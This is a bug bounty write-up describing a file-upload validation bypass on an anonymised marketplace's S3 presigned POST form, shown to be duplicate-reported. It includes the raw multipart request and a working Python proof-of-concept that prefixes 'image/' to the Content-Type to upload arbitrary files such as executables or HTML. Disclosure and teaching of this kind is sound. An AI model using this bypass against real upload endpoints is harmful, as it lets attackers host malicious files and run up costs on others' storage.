The target is like a multi-vendor e-commerce website where, there are 2 types of users. Buyers and Sellers. Sellers can setup their profile/shop and add different products and when they add products they have to add product name, description, location, pictures etc. etc.
I have found this bug in the product picture upload section.
Since the bug has not been fixed yet. I’ll call the Bug Bounty Program target.com
.
Recon
Like a normal user I signed up in that platform and started poking around all functionalities alongside capturing all the requests in BurpSuite.
When I came across the file upload functionality, I noticed the application allows only jpg
and png
files to be uploaded. Whenever I come across restrictions like these. I instantly mark them down as my testing ground. And now I have found my first testing ground. Since I believe, if there is a restriction, there should be a bypass too.
So, I uploaded a few more pictures and started going through the Burp history and I saw this request:
As you can see the file is being uploaded in the s3 bucket, target-media.s3.amazonaws.com
.
Then I sent the request to Repeater.
Exploitation
On closer look in the request body, I noticed there are two Content-Type
s.
I decided to check if the file type is being properly validated or not. And I removed the image body and changed both the content types to text/plain
.
Basically, I was trying to check how the files are being validated, based on file extensions
or based on Content-Types
or any other method.
In the request below you can see I have only changed the content types not the file extension.
After sending the request, we got the 403 Forbidden
status code. with a message Invalid according to Policy: Policy Condition failed: ["starts-with","$Content-Type","image/"]
.
So, the content type should start with image/
. But which one?
I poked around a little and and realized, The first Content-Type
is the rule set in the S3 bucket which says content type should start with image/
, and the 2nd Content-Type
is the actual content type of the file that we are trying to upload.
Then I added the image/
in the first content type and I got this response:
The file got uploaded!!
And when I accessed the given link inside the <Location>
tag in my browser, the text
file got downloaded.
Key findings:
- The file extension doesn’t really matter, the file extension is only being checked in the client side when we are adding the image.
- The validation is being done based on the rule, if the content type starts with
image/
or not.
Now it’s confirmed that we can upload text files, But I wasn’t done. I wanted to make sure I can upload any type of file I want.
Proof of Concept
writing a script to upload any type of file we want.
So, The Request body looks like this:
POST / HTTP/1.1
Host: target-media.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Content-Type: multipart/form-data; boundary=---------------------------26762892231597285403112451395
Connection: keep-alive
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="key"
prd/listing/temp/3b5a8800cab74a8cb7d79e84bbac2c9b
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="success_action_status"
201
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="acl"
public-read
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-meta-original-filename"
${filename}
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-meta-user"
15917208
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="policy"
REDACTED
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-credential"
REDACTED
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-algorithm"
AWS4-HMAC-SHA256
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-date"
20250116T143817Z
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-signature"
REDACTED
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="Content-Type"
image/jpeg
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="file"; filename="TEST.jpg"
Content-Type: image/jpeg
IMAGE CONTENT
-----------------------------26762892231597285403112451395--
The files are being uploaded using a form. The important Key-Value
pairs in this form are:
key
success_action_status
acl
x-amz-meta-original-filename
x-amz-meta-user
policy
x-amz-credential
x-amz-algorithm
x-amz-date
x-amz-signature
These credentials are being generated dynamically and are valid for a specific timeframe. These values are important and will be required in the POC script.
Then I wrote this python script:
import argparse
import requests
import mimetypes
import os
import sys
import json
def parse_form_data(file_path):
if not os.path.exists(file_path):
print(f"Error: Form data file '{file_path}' does not exist.")
sys.exit(1)
with open(file_path, "r") as f:
form_data = f.read()
form_data = "\n".join([line for line in form_data.splitlines() if line.strip()])
if not form_data:
print(f"Error: Form data file '{file_path}' contains no valid data.")
sys.exit(1)
metadata = {}
boundary = form_data.splitlines()[0]
if not boundary:
print(f"Error: Boundary in form data is empty.")
sys.exit(1)
for line in form_data.split(boundary):
if "Content-Disposition" in line:
key_line = [l for l in line.splitlines() if l.startswith("Content-Disposition")][0]
key = key_line.split('name="')[1].split('"')[0]
value = line.splitlines()[-1].strip()
metadata[key] = value
return metadata
def upload_file(file_path, metadata):
url = "https://target-media.s3.amazonaws.com/"
if not os.path.exists(file_path):
print(f"Error: File '{file_path}' does not exist.")
sys.exit(1)
guessed_content_type = mimetypes.guess_type(file_path)[0] or "application/octet-stream"
content_type = metadata.get("Content-Type", "")
if content_type.startswith("image/"):
if guessed_content_type.startswith("image/"):
metadata["Content-Type"] = guessed_content_type # Update with the actual image type
else:
metadata["Content-Type"] = "image/" + guessed_content_type.split("/")[1]
elif content_type == "":
if guessed_content_type.startswith("image/"):
metadata["Content-Type"] = guessed_content_type
else:
metadata["Content-Type"] = "image/" + guessed_content_type.split("/")[1]
with open(file_path, "rb") as f:
files = {
"file": (os.path.basename(file_path), f, guessed_content_type),
}
response = requests.post(url, data=metadata, files=files)
# response
if response.status_code == 201:
print("File uploaded successfully.")
# print the location after uploading
location = response.text.split("<Location>")[1].split("</Location>")[0]
print(f"File Location: {location}")
else:
print(f"Error uploading file: {response.status_code}\n{response.text}")
def main():
parser = argparse.ArgumentParser(description="Extract form data and upload a file.")
parser.add_argument("-form-data", required=True, help="Path to important key-value pair file.")
parser.add_argument("-file", required=True, help="Path to the file to upload.")
args = parser.parse_args()
metadata = parse_form_data(args.form_data)
#print("Metadata in JSON format:")
#print(json.dumps(metadata, indent=4))
# Upload file
upload_file(args.file, metadata)
if __name__ == "__main__":
main()
Simply put, it has two flags -form-data
and -file
.
-form-data
: Takes a file which contains the important key-value pairs.
We can just copy the form data (key-value pairs) from burpsuite and save in a text file.
-file
: Takes the file we are trying to upload.
The script parses the form data and extracts the important key-value pairs and also makes sure the first Content-Type
starts with image/
and append it with the actual content type of the file we are trying to upload.
For example:
If we want to upload an .exe
file, the first content type will be image/application/octet-stream
and the second content type will be application/octet-stream
.
And after the file is uploaded, it shows the URL. On accessing the URL either the file is rendered (if HTML, JS, SVG etc. files) or downloaded (mp4, exe, txt etc. files).
Impact
what an attacker can do if they choose to exploit it.
- Malicious files (e.g., scripts, executables) could be hosted in the bucket.
- The S3 Bucket can be used as a Personal Storage. Which can increase the cost.
Mitigations
How to fix the issue?
Strict sever side validation must be done, so that the system rejects any file which is not an actual image file.
References
- File Upload — OWASP Cheat Sheet Series
- Protect FileUpload Against Malicious File · OWASP Cheat Sheet Series
- CheatSheetSeries/cheatsheets/File_Upload_Cheat_Sheet.md at master · OWASP/CheatSheetSeries
- Secure Your File Uploads Today with OWASP | Learn Web Dev with Austin Gil — YouTube
Reporting Timeline:
- Detected on: 15/01/2025
- Reported on: 16/01/2025
- Marked as Duplicate: 18/01/2025
Duplicate: Bug is valid, but someone has already reported it before me.
Thank you for reading! Feel free to share your thoughts or questions in the comments.
Reach me on 📡:
- Linkedin: https://www.linkedin.com/in/saeed0x1/
- X (Twitter): https://x.com/saeed0x1